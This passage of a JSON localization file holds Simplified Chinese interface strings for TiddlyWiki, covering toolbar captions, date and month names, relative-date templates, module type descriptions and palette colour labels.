            "title": "$:/language/ControlPanel/Toolbars/Caption",
            "text": "工具栏"
        },
        "$:/language/ControlPanel/Toolbars/EditToolbar/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/EditToolbar/Caption",
            "text": "编辑工具栏"
        },
        "$:/language/ControlPanel/Toolbars/EditToolbar/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/EditToolbar/Hint",
            "text": "选择将显示哪些按钮于条目的编辑模式工具栏。拖放可改变顺序。"
        },
        "$:/language/ControlPanel/Toolbars/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/Hint",
            "text": "选择将显示哪些工具栏按钮"
        },
        "$:/language/ControlPanel/Toolbars/PageControls/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/PageControls/Caption",
            "text": "页面工具栏"
        },
        "$:/language/ControlPanel/Toolbars/PageControls/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/PageControls/Hint",
            "text": "选择将显示哪些按钮于主页面的工具栏。拖放可改变顺序。"
        },
        "$:/language/ControlPanel/Toolbars/EditorToolbar/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/EditorToolbar/Caption",
            "text": "编辑器工具栏"
        },
        "$:/language/ControlPanel/Toolbars/EditorToolbar/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/EditorToolbar/Hint",
            "text": "选择将显示哪些按钮于编辑器工具栏。请注意,某些按钮只会出现在编辑某一类型的条目时。拖放可改变顺序。"
        },
        "$:/language/ControlPanel/Toolbars/ViewToolbar/Caption": {
            "title": "$:/language/ControlPanel/Toolbars/ViewToolbar/Caption",
            "text": "查看工具栏"
        },
        "$:/language/ControlPanel/Toolbars/ViewToolbar/Hint": {
            "title": "$:/language/ControlPanel/Toolbars/ViewToolbar/Hint",
            "text": "选择将显示哪些按钮于条目的查看模式工具栏。拖放可改变顺序。"
        },
        "$:/language/ControlPanel/Tools/Download/Full/Caption": {
            "title": "$:/language/ControlPanel/Tools/Download/Full/Caption",
            "text": "下载完整副本"
        },
        "$:/core/zh-Hans/readme": {
            "title": "$:/core/zh-Hans/readme",
            "text": "此插件包含 TiddlyWiki 的核心组件,包括:\n\n* JavaScript 代码模块\n* 图标\n* 创建 TiddlyWiki 的用户介面所需的模板\n* 核心所使用的可当地语系化字串的英国英语 (''en-GB'') 翻译\n"
        },
        "$:/language/Date/Long/Day/0": {
            "title": "$:/language/Date/Long/Day/0",
            "text": "周日"
        },
        "$:/language/Date/Long/Day/1": {
            "title": "$:/language/Date/Long/Day/1",
            "text": "周一"
        },
        "$:/language/Date/Long/Day/2": {
            "title": "$:/language/Date/Long/Day/2",
            "text": "周二"
        },
        "$:/language/Date/Long/Day/3": {
            "title": "$:/language/Date/Long/Day/3",
            "text": "周三"
        },
        "$:/language/Date/Long/Day/4": {
            "title": "$:/language/Date/Long/Day/4",
            "text": "周四"
        },
        "$:/language/Date/Long/Day/5": {
            "title": "$:/language/Date/Long/Day/5",
            "text": "周五"
        },
        "$:/language/Date/Long/Day/6": {
            "title": "$:/language/Date/Long/Day/6",
            "text": "周六"
        },
        "$:/language/Date/Long/Month/1": {
            "title": "$:/language/Date/Long/Month/1",
            "text": "一月"
        },
        "$:/language/Date/Long/Month/2": {
            "title": "$:/language/Date/Long/Month/2",
            "text": "二月"
        },
        "$:/language/Date/Long/Month/3": {
            "title": "$:/language/Date/Long/Month/3",
            "text": "三月"
        },
        "$:/language/Date/Long/Month/4": {
            "title": "$:/language/Date/Long/Month/4",
            "text": "四月"
        },
        "$:/language/Date/Long/Month/5": {
            "title": "$:/language/Date/Long/Month/5",
            "text": "五月"
        },
        "$:/language/Date/Long/Month/6": {
            "title": "$:/language/Date/Long/Month/6",
            "text": "六月"
        },
        "$:/language/Date/Long/Month/7": {
            "title": "$:/language/Date/Long/Month/7",
            "text": "七月"
        },
        "$:/language/Date/Long/Month/8": {
            "title": "$:/language/Date/Long/Month/8",
            "text": "八月"
        },
        "$:/language/Date/Long/Month/9": {
            "title": "$:/language/Date/Long/Month/9",
            "text": "九月"
        },
        "$:/language/Date/Long/Month/10": {
            "title": "$:/language/Date/Long/Month/10",
            "text": "十月"
        },
        "$:/language/Date/Long/Month/11": {
            "title": "$:/language/Date/Long/Month/11",
            "text": "十一月"
        },
        "$:/language/Date/Long/Month/12": {
            "title": "$:/language/Date/Long/Month/12",
            "text": "十二月"
        },
        "$:/language/Date/Period/am": {
            "title": "$:/language/Date/Period/am",
            "text": "上午"
        },
        "$:/language/Date/Period/pm": {
            "title": "$:/language/Date/Period/pm",
            "text": "下午"
        },
        "$:/language/Date/Short/Day/0": {
            "title": "$:/language/Date/Short/Day/0",
            "text": "日"
        },
        "$:/language/Date/Short/Day/1": {
            "title": "$:/language/Date/Short/Day/1",
            "text": "一"
        },
        "$:/language/Date/Short/Day/2": {
            "title": "$:/language/Date/Short/Day/2",
            "text": "二"
        },
        "$:/language/Date/Short/Day/3": {
            "title": "$:/language/Date/Short/Day/3",
            "text": "三"
        },
        "$:/language/Date/Short/Day/4": {
            "title": "$:/language/Date/Short/Day/4",
            "text": "四"
        },
        "$:/language/Date/Short/Day/5": {
            "title": "$:/language/Date/Short/Day/5",
            "text": "五"
        },
        "$:/language/Date/Short/Day/6": {
            "title": "$:/language/Date/Short/Day/6",
            "text": "六"
        },
        "$:/language/Date/Short/Month/1": {
            "title": "$:/language/Date/Short/Month/1",
            "text": "01月"
        },
        "$:/language/Date/Short/Month/2": {
            "title": "$:/language/Date/Short/Month/2",
            "text": "02月"
        },
        "$:/language/Date/Short/Month/3": {
            "title": "$:/language/Date/Short/Month/3",
            "text": "03月"
        },
        "$:/language/Date/Short/Month/4": {
            "title": "$:/language/Date/Short/Month/4",
            "text": "04月"
        },
        "$:/language/Date/Short/Month/5": {
            "title": "$:/language/Date/Short/Month/5",
            "text": "05月"
        },
        "$:/language/Date/Short/Month/6": {
            "title": "$:/language/Date/Short/Month/6",
            "text": "06月"
        },
        "$:/language/Date/Short/Month/7": {
            "title": "$:/language/Date/Short/Month/7",
            "text": "07月"
        },
        "$:/language/Date/Short/Month/8": {
            "title": "$:/language/Date/Short/Month/8",
            "text": "08月"
        },
        "$:/language/Date/Short/Month/9": {
            "title": "$:/language/Date/Short/Month/9",
            "text": "09月"
        },
        "$:/language/Date/Short/Month/10": {
            "title": "$:/language/Date/Short/Month/10",
            "text": "10月"
        },
        "$:/language/Date/Short/Month/11": {
            "title": "$:/language/Date/Short/Month/11",
            "text": "11月"
        },
        "$:/language/Date/Short/Month/12": {
            "title": "$:/language/Date/Short/Month/12",
            "text": "12月"
        },
        "$:/language/RelativeDate/Future/Days": {
            "title": "$:/language/RelativeDate/Future/Days",
            "text": "<<period>> 天后"
        },
        "$:/language/RelativeDate/Future/Hours": {
            "title": "$:/language/RelativeDate/Future/Hours",
            "text": "<<period>> 小时后"
        },
        "$:/language/RelativeDate/Future/Minutes": {
            "title": "$:/language/RelativeDate/Future/Minutes",
            "text": "<<period>> 分钟后"
        },
        "$:/language/RelativeDate/Future/Months": {
            "title": "$:/language/RelativeDate/Future/Months",
            "text": "<<period>> 个月后"
        },
        "$:/language/RelativeDate/Future/Second": {
            "title": "$:/language/RelativeDate/Future/Second",
            "text": "1 秒后"
        },
        "$:/language/RelativeDate/Future/Seconds": {
            "title": "$:/language/RelativeDate/Future/Seconds",
            "text": "<<period>> 秒后"
        },
        "$:/language/RelativeDate/Future/Years": {
            "title": "$:/language/RelativeDate/Future/Years",
            "text": "<<period>> 年后"
        },
        "$:/language/RelativeDate/Past/Days": {
            "title": "$:/language/RelativeDate/Past/Days",
            "text": "<<period>> 天前"
        },
        "$:/language/RelativeDate/Past/Hours": {
            "title": "$:/language/RelativeDate/Past/Hours",
            "text": "<<period>> 小时前"
        },
        "$:/language/RelativeDate/Past/Minutes": {
            "title": "$:/language/RelativeDate/Past/Minutes",
            "text": "<<period>> 分钟前"
        },
        "$:/language/RelativeDate/Past/Months": {
            "title": "$:/language/RelativeDate/Past/Months",
            "text": "<<period>> 个月前"
        },
        "$:/language/RelativeDate/Past/Second": {
            "title": "$:/language/RelativeDate/Past/Second",
            "text": "1 秒前"
        },
        "$:/language/RelativeDate/Past/Seconds": {
            "title": "$:/language/RelativeDate/Past/Seconds",
            "text": "<<period>> 秒前"
        },
        "$:/language/RelativeDate/Past/Years": {
            "title": "$:/language/RelativeDate/Past/Years",
            "text": "<<period>> 年前"
        },
        "$:/language/Docs/ModuleTypes/allfilteroperator": {
            "title": "$:/language/Docs/ModuleTypes/allfilteroperator",
            "text": "''all'' 筛选器算子的子算子。"
        },
        "$:/language/Docs/ModuleTypes/animation": {
            "title": "$:/language/Docs/ModuleTypes/animation",
            "text": "动画模块包含可用于 RevealWidget 的动画。"
        },
        "$:/language/Docs/ModuleTypes/authenticator": {
            "title": "$:/language/Docs/ModuleTypes/authenticator",
            "text": "定义内置 HTTP 服务器对请求的身份验证方式。"
        },
        "$:/language/Docs/ModuleTypes/bitmapeditoroperation": {
            "title": "$:/language/Docs/ModuleTypes/bitmapeditoroperation",
            "text": "一个位图编辑器工具栏操作。"
        },
        "$:/language/Docs/ModuleTypes/command": {
            "title": "$:/language/Docs/ModuleTypes/command",
            "text": "可于 Node.js 执行的指令。"
        },
        "$:/language/Docs/ModuleTypes/config": {
            "title": "$:/language/Docs/ModuleTypes/config",
            "text": "加入 `$tw.config` 的数据。"
        },
        "$:/language/Docs/ModuleTypes/filteroperator": {
            "title": "$:/language/Docs/ModuleTypes/filteroperator",
            "text": "个别筛选器算子方法。"
        },
        "$:/language/Docs/ModuleTypes/global": {
            "title": "$:/language/Docs/ModuleTypes/global",
            "text": "加入 `$tw` 的全域数据。"
        },
        "$:/language/Docs/ModuleTypes/info": {
            "title": "$:/language/Docs/ModuleTypes/info",
            "text": "透过 [[$:/temp/info-plugin]] 伪插件,发布系统信息。"
        },
        "$:/language/Docs/ModuleTypes/isfilteroperator": {
            "title": "$:/language/Docs/ModuleTypes/isfilteroperator",
            "text": "''is'' 筛选器算子的运算符。"
        },
        "$:/language/Docs/ModuleTypes/library": {
            "title": "$:/language/Docs/ModuleTypes/library",
            "text": "一般用途的 JavaScript 模块的通用模块类型。"
        },
        "$:/language/Docs/ModuleTypes/macro": {
            "title": "$:/language/Docs/ModuleTypes/macro",
            "text": "JavaScript ''宏''定义。"
        },
        "$:/language/Docs/ModuleTypes/parser": {
            "title": "$:/language/Docs/ModuleTypes/parser",
            "text": "不同内容类型的解析器。"
        },
        "$:/language/Docs/ModuleTypes/route": {
            "title": "$:/language/Docs/ModuleTypes/route",
            "text": "定义内置 HTTP 服务器如何处理各个网址格式。"
        },
        "$:/language/Docs/ModuleTypes/saver": {
            "title": "$:/language/Docs/ModuleTypes/saver",
            "text": "于浏览器保存文件的不同的保存处理方法。"
        },
        "$:/language/Docs/ModuleTypes/startup": {
            "title": "$:/language/Docs/ModuleTypes/startup",
            "text": "启动时期的功能函数。"
        },
        "$:/language/Docs/ModuleTypes/storyview": {
            "title": "$:/language/Docs/ModuleTypes/storyview",
            "text": "查看模式用以自订 list 小部件的动画与行为。"
        },
        "$:/language/Docs/ModuleTypes/texteditoroperation": {
            "title": "$:/language/Docs/ModuleTypes/texteditoroperation",
            "text": "一个文本编辑器工具栏操作。"
        },
        "$:/language/Docs/ModuleTypes/tiddlerdeserializer": {
            "title": "$:/language/Docs/ModuleTypes/tiddlerdeserializer",
            "text": "转换不同内容类型至条目。"
        },
        "$:/language/Docs/ModuleTypes/tiddlerfield": {
            "title": "$:/language/Docs/ModuleTypes/tiddlerfield",
            "text": "定义个别条目栏位的行为。"
        },
        "$:/language/Docs/ModuleTypes/tiddlermethod": {
            "title": "$:/language/Docs/ModuleTypes/tiddlermethod",
            "text": "添加方法至 `$tw.Tiddler` 原型。"
        },
        "$:/language/Docs/ModuleTypes/upgrader": {
            "title": "$:/language/Docs/ModuleTypes/upgrader",
            "text": "于升级/导入过程中,套用升级处理至条目。"
        },
        "$:/language/Docs/ModuleTypes/utils": {
            "title": "$:/language/Docs/ModuleTypes/utils",
            "text": "添加方法至 `$tw.utils`。"
        },
        "$:/language/Docs/ModuleTypes/utils-node": {
            "title": "$:/language/Docs/ModuleTypes/utils-node",
            "text": "将特定于 Node.js 的方法添加到 '$tw.utils'。"
        },
        "$:/language/Docs/ModuleTypes/widget": {
            "title": "$:/language/Docs/ModuleTypes/widget",
            "text": "封装 DOM 渲染和刷新的小部件。"
        },
        "$:/language/Docs/ModuleTypes/wikimethod": {
            "title": "$:/language/Docs/ModuleTypes/wikimethod",
            "text": "添加方法至 `$tw.Wiki`。"
        },
        "$:/language/Docs/ModuleTypes/wikirule": {
            "title": "$:/language/Docs/ModuleTypes/wikirule",
            "text": "WikiText 解析器的个别的语法规则。"
        },
        "$:/language/Docs/PaletteColours/alert-background": {
            "title": "$:/language/Docs/PaletteColours/alert-background",
            "text": "警示背景"
        },
        "$:/language/Docs/PaletteColours/alert-border": {
            "title": "$:/language/Docs/PaletteColours/alert-border",
            "text": "警示边框"
        },
        "$:/language/Docs/PaletteColours/alert-highlight": {
            "title": "$:/language/Docs/PaletteColours/alert-highlight",
            "text": "警示高亮度"
        },
        "$:/language/Docs/PaletteColours/alert-muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/alert-muted-foreground",
            "text": "警示的低调前景"
        },
        "$:/language/Docs/PaletteColours/background": {
            "title": "$:/language/Docs/PaletteColours/background",
            "text": "一般背景"
        },
        "$:/language/Docs/PaletteColours/blockquote-bar": {
            "title": "$:/language/Docs/PaletteColours/blockquote-bar",
            "text": "引言条"
        },
        "$:/language/Docs/PaletteColours/button-background": {
            "title": "$:/language/Docs/PaletteColours/button-background",
            "text": "默认按钮背景"
        },
        "$:/language/Docs/PaletteColours/button-border": {
            "title": "$:/language/Docs/PaletteColours/button-border",
            "text": "默认按钮边框"
        },
        "$:/language/Docs/PaletteColours/button-foreground": {
            "title": "$:/language/Docs/PaletteColours/button-foreground",
            "text": "默认按钮前景"
        },
        "$:/language/Docs/PaletteColours/code-background": {
            "title": "$:/language/Docs/PaletteColours/code-background",
            "text": "代码背景"
        },
        "$:/language/Docs/PaletteColours/code-border": {
            "title": "$:/language/Docs/PaletteColours/code-border",
            "text": "代码边框"
        },
        "$:/language/Docs/PaletteColours/code-foreground": {
            "title": "$:/language/Docs/PaletteColours/code-foreground",
            "text": "代码前景"
        },
        "$:/language/Docs/PaletteColours/dirty-indicator": {
            "title": "$:/language/Docs/PaletteColours/dirty-indicator",
            "text": "未保存变更指示器"
        },
        "$:/language/Docs/PaletteColours/download-background": {
            "title": "$:/language/Docs/PaletteColours/download-background",
            "text": "下载按钮背景"
        },
        "$:/language/Docs/PaletteColours/download-foreground": {
            "title": "$:/language/Docs/PaletteColours/download-foreground",
            "text": "下载按钮前景"
        },
        "$:/language/Docs/PaletteColours/dragger-background": {
            "title": "$:/language/Docs/PaletteColours/dragger-background",
            "text": "拖动区背景"
        },
        "$:/language/Docs/PaletteColours/dragger-foreground": {
            "title": "$:/language/Docs/PaletteColours/dragger-foreground",
            "text": "拖动区前景"
        },
        "$:/language/Docs/PaletteColours/dropdown-background": {
            "title": "$:/language/Docs/PaletteColours/dropdown-background",
            "text": "下拉背景"
        },
        "$:/language/Docs/PaletteColours/dropdown-border": {
            "title": "$:/language/Docs/PaletteColours/dropdown-border",
            "text": "下拉边框"
        },
        "$:/language/Docs/PaletteColours/dropdown-tab-background-selected": {
            "title": "$:/language/Docs/PaletteColours/dropdown-tab-background-selected",
            "text": "选定的下拉页签背景"
        },
        "$:/language/Docs/PaletteColours/dropdown-tab-background": {
            "title": "$:/language/Docs/PaletteColours/dropdown-tab-background",
            "text": "下拉页签背景"
        },
        "$:/language/Docs/PaletteColours/dropzone-background": {
            "title": "$:/language/Docs/PaletteColours/dropzone-background",
            "text": "拖放背景"
        },
        "$:/language/Docs/PaletteColours/external-link-background-hover": {
            "title": "$:/language/Docs/PaletteColours/external-link-background-hover",
            "text": "悬停外部链结背景"
        },
        "$:/language/Docs/PaletteColours/external-link-background-visited": {
            "title": "$:/language/Docs/PaletteColours/external-link-background-visited",
            "text": "已造访过的外部链结背景"
        },
        "$:/language/Docs/PaletteColours/external-link-background": {
            "title": "$:/language/Docs/PaletteColours/external-link-background",
            "text": "外部链结背景"
        },
        "$:/language/Docs/PaletteColours/external-link-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/external-link-foreground-hover",
            "text": "悬停外部链结前景"
        },
        "$:/language/Docs/PaletteColours/external-link-foreground-visited": {
            "title": "$:/language/Docs/PaletteColours/external-link-foreground-visited",
            "text": "已造访过的外部链结前景"
        },
        "$:/language/Docs/PaletteColours/external-link-foreground": {
            "title": "$:/language/Docs/PaletteColours/external-link-foreground",
            "text": "外部链结前景"
        },
        "$:/language/Docs/PaletteColours/foreground": {
            "title": "$:/language/Docs/PaletteColours/foreground",
            "text": "一般前景"
        },
        "$:/language/Docs/PaletteColours/message-background": {
            "title": "$:/language/Docs/PaletteColours/message-background",
            "text": "信息框背景"
        },
        "$:/language/Docs/PaletteColours/message-border": {
            "title": "$:/language/Docs/PaletteColours/message-border",
            "text": "信息边框"
        },
        "$:/language/Docs/PaletteColours/message-foreground": {
            "title": "$:/language/Docs/PaletteColours/message-foreground",
            "text": "信息框前景"
        },
        "$:/language/Docs/PaletteColours/modal-backdrop": {
            "title": "$:/language/Docs/PaletteColours/modal-backdrop",
            "text": "模块背景幕"
        },
        "$:/language/Docs/PaletteColours/modal-background": {
            "title": "$:/language/Docs/PaletteColours/modal-background",
            "text": "模块背景"
        },
        "$:/language/Docs/PaletteColours/modal-border": {
            "title": "$:/language/Docs/PaletteColours/modal-border",
            "text": "模块边框"
        },
        "$:/language/Docs/PaletteColours/modal-footer-background": {
            "title": "$:/language/Docs/PaletteColours/modal-footer-background",
            "text": "模块页脚背景"
        },
        "$:/language/Docs/PaletteColours/modal-footer-border": {
            "title": "$:/language/Docs/PaletteColours/modal-footer-border",
            "text": "模块页脚边框"
        },
        "$:/language/Docs/PaletteColours/modal-header-border": {
            "title": "$:/language/Docs/PaletteColours/modal-header-border",
            "text": "模块标题边框"
        },
        "$:/language/Docs/PaletteColours/muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/muted-foreground",
            "text": "一般低调前景"
        },
        "$:/language/Docs/PaletteColours/notification-background": {
            "title": "$:/language/Docs/PaletteColours/notification-background",
            "text": "通知背景"
        },
        "$:/language/Docs/PaletteColours/notification-border": {
            "title": "$:/language/Docs/PaletteColours/notification-border",
            "text": "通知边框"
        },
        "$:/language/Docs/PaletteColours/page-background": {
            "title": "$:/language/Docs/PaletteColours/page-background",
            "text": "页面背景"
        },
        "$:/language/Docs/PaletteColours/pre-background": {
            "title": "$:/language/Docs/PaletteColours/pre-background",
            "text": "pre 背景"
        },
        "$:/language/Docs/PaletteColours/pre-border": {
            "title": "$:/language/Docs/PaletteColours/pre-border",
            "text": "pre 边框"
        },
        "$:/language/Docs/PaletteColours/primary": {
            "title": "$:/language/Docs/PaletteColours/primary",
            "text": "主颜色"
        },
        "$:/language/Docs/PaletteColours/select-tag-background": {
            "title": "$:/language/Docs/PaletteColours/select-tag-background",
            "text": "`<select>` 元素背景"
        },
        "$:/language/Docs/PaletteColours/select-tag-foreground": {
            "title": "$:/language/Docs/PaletteColours/select-tag-foreground",
            "text": "`<select>` 元素文本"
        },
        "$:/language/Docs/PaletteColours/sidebar-button-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-button-foreground",
            "text": "侧边栏按钮前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-controls-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/sidebar-controls-foreground-hover",
            "text": "悬停侧边栏控制项前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-controls-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-controls-foreground",
            "text": "侧边栏控制项前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-foreground-shadow": {
            "title": "$:/language/Docs/PaletteColours/sidebar-foreground-shadow",
            "text": "侧边栏前景阴影"
        },
        "$:/language/Docs/PaletteColours/sidebar-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-foreground",
            "text": "侧边栏前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-muted-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/sidebar-muted-foreground-hover",
            "text": "悬停侧边栏低调前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-muted-foreground",
            "text": "侧边栏低调前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-background-selected": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-background-selected",
            "text": "侧边栏选定页签背景"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-background": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-background",
            "text": "侧边栏页签背景"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-border-selected": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-border-selected",
            "text": "侧边栏选定页签边框"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-border": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-border",
            "text": "侧边栏页签边框"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-divider": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-divider",
            "text": "侧边栏页签分隔线"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-foreground-selected": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-foreground-selected",
            "text": "侧边栏选定页签前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-tab-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tab-foreground",
            "text": "侧边栏页签前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground-hover",
            "text": "侧边栏悬停条目链结前景"
        },
        "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground": {
            "title": "$:/language/Docs/PaletteColours/sidebar-tiddler-link-foreground",
            "text": "侧边栏条目链结前景"
        },
        "$:/language/Docs/PaletteColours/site-title-foreground": {
            "title": "$:/language/Docs/PaletteColours/site-title-foreground",
            "text": "网站标题前景"
        },
        "$:/language/Docs/PaletteColours/static-alert-foreground": {
            "title": "$:/language/Docs/PaletteColours/static-alert-foreground",
            "text": "静态警示前景"
        },
        "$:/language/Docs/PaletteColours/tab-background-selected": {
            "title": "$:/language/Docs/PaletteColours/tab-background-selected",
            "text": "选定的页签背景"
        },
        "$:/language/Docs/PaletteColours/tab-background": {
            "title": "$:/language/Docs/PaletteColours/tab-background",
            "text": "页签背景"
        },
        "$:/language/Docs/PaletteColours/tab-border-selected": {
            "title": "$:/language/Docs/PaletteColours/tab-border-selected",
            "text": "选定的页签边框"
        },
        "$:/language/Docs/PaletteColours/tab-border": {
            "title": "$:/language/Docs/PaletteColours/tab-border",
            "text": "页签边框"
        },
        "$:/language/Docs/PaletteColours/tab-divider": {
            "title": "$:/language/Docs/PaletteColours/tab-divider",
            "text": "页签分隔线"
        },
        "$:/language/Docs/PaletteColours/tab-foreground-selected": {
            "title": "$:/language/Docs/PaletteColours/tab-foreground-selected",
            "text": "选定的页签前景"
        },
        "$:/language/Docs/PaletteColours/tab-foreground": {
            "title": "$:/language/Docs/PaletteColours/tab-foreground",
            "text": "页签前景"
        },
        "$:/language/Docs/PaletteColours/table-border": {
            "title": "$:/language/Docs/PaletteColours/table-border",
            "text": "表格边框"
        },
        "$:/language/Docs/PaletteColours/table-footer-background": {
            "title": "$:/language/Docs/PaletteColours/table-footer-background",
            "text": "表格页脚背景"
        },
        "$:/language/Docs/PaletteColours/table-header-background": {
            "title": "$:/language/Docs/PaletteColours/table-header-background",
            "text": "表格标题背景"
        },
        "$:/language/Docs/PaletteColours/tag-background": {
            "title": "$:/language/Docs/PaletteColours/tag-background",
            "text": "标签背景"
        },
        "$:/language/Docs/PaletteColours/tag-foreground": {
            "title": "$:/language/Docs/PaletteColours/tag-foreground",
            "text": "标签前景"
        },
        "$:/language/Docs/PaletteColours/tiddler-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-background",
            "text": "条目背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-border": {
            "title": "$:/language/Docs/PaletteColours/tiddler-border",
            "text": "条目边框"
        },
        "$:/language/Docs/PaletteColours/tiddler-controls-foreground-hover": {
            "title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground-hover",
            "text": "悬停的条目控制项前景"
        },
        "$:/language/Docs/PaletteColours/tiddler-controls-foreground-selected": {
            "title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground-selected",
            "text": "选定的条目控制项前景"
        },
        "$:/language/Docs/PaletteColours/tiddler-controls-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-controls-foreground",
            "text": "条目控制项前景"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-background",
            "text": "条目编辑器背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-border-image": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-border-image",
            "text": "条目编辑器边框图片"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-border": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-border",
            "text": "条目编辑器边框"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-fields-even": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-fields-even",
            "text": "条目编辑器中偶数栏位背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-editor-fields-odd": {
            "title": "$:/language/Docs/PaletteColours/tiddler-editor-fields-odd",
            "text": "条目编辑器中奇数栏位背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-info-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-info-background",
            "text": "条目信息面板背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-info-border": {
            "title": "$:/language/Docs/PaletteColours/tiddler-info-border",
            "text": "条目信息面板边框"
        },
        "$:/language/Docs/PaletteColours/tiddler-info-tab-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-info-tab-background",
            "text": "条目信息面板页签背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-link-background": {
            "title": "$:/language/Docs/PaletteColours/tiddler-link-background",
            "text": "条目链结背景"
        },
        "$:/language/Docs/PaletteColours/tiddler-link-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-link-foreground",
            "text": "条目链结前景"
        },
        "$:/language/Docs/PaletteColours/tiddler-subtitle-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-subtitle-foreground",
            "text": "条目副标题前景"
        },
        "$:/language/Docs/PaletteColours/tiddler-title-foreground": {
            "title": "$:/language/Docs/PaletteColours/tiddler-title-foreground",
            "text": "条目标题前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-new-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-new-button",
            "text": "工具栏 '添加条目' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-options-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-options-button",
            "text": "工具栏 '选项' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-save-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-save-button",
            "text": "工具栏 '保存' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-info-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-info-button",
            "text": "工具栏 '资讯' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-edit-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-edit-button",
            "text": "工具栏 '编辑' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-close-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-close-button",
            "text": "工具栏 '关闭' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-delete-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-delete-button",
            "text": "工具栏 '删除' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-cancel-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-cancel-button",
            "text": "工具栏 '取消' 按钮前景"
        },
        "$:/language/Docs/PaletteColours/toolbar-done-button": {
            "title": "$:/language/Docs/PaletteColours/toolbar-done-button",
            "text": "工具栏 '完成  按钮前景"
        },
        "$:/language/Docs/PaletteColours/untagged-background": {
            "title": "$:/language/Docs/PaletteColours/untagged-background",
            "text": "未设标签的背景"
        },
        "$:/language/Docs/PaletteColours/very-muted-foreground": {
            "title": "$:/language/Docs/PaletteColours/very-muted-foreground",
            "text": "非常低调前景"
        },
        "$:/language/EditTemplate/Body/External/Hint": {
            "title": "$:/language/EditTemplate/Body/External/Hint",
            "text": "此条目显示保存于主要的 TiddlyWiki 文件之外的内容。你可以编辑其标签和字段,但不能直接编辑内容本身"
        },
        "$:/language/EditTemplate/Body/Placeholder": {
            "title": "$:/language/EditTemplate/Body/Placeholder",
            "text": "输入此条目的内容"
        },
        "$:/language/EditTemplate/Body/Preview/Type/Output": {
            "title": "$:/language/EditTemplate/Body/Preview/Type/Output",
            "text": "输出"
        },
        "$:/language/EditTemplate/Field/Remove/Caption": {
            "title": "$:/language/EditTemplate/Field/Remove/Caption",
            "text": "删除字段"
        },
        "$:/language/EditTemplate/Field/Remove/Hint": {
            "title": "$:/language/EditTemplate/Field/Remove/Hint",
            "text": "删除字段"
        },
        "$:/language/EditTemplate/Field/Dropdown/Caption": {
            "title": "$:/language/EditTemplate/Field/Dropdown/Caption",
            "text": "字段列表"
        },
        "$:/language/EditTemplate/Field/Dropdown/Hint": {
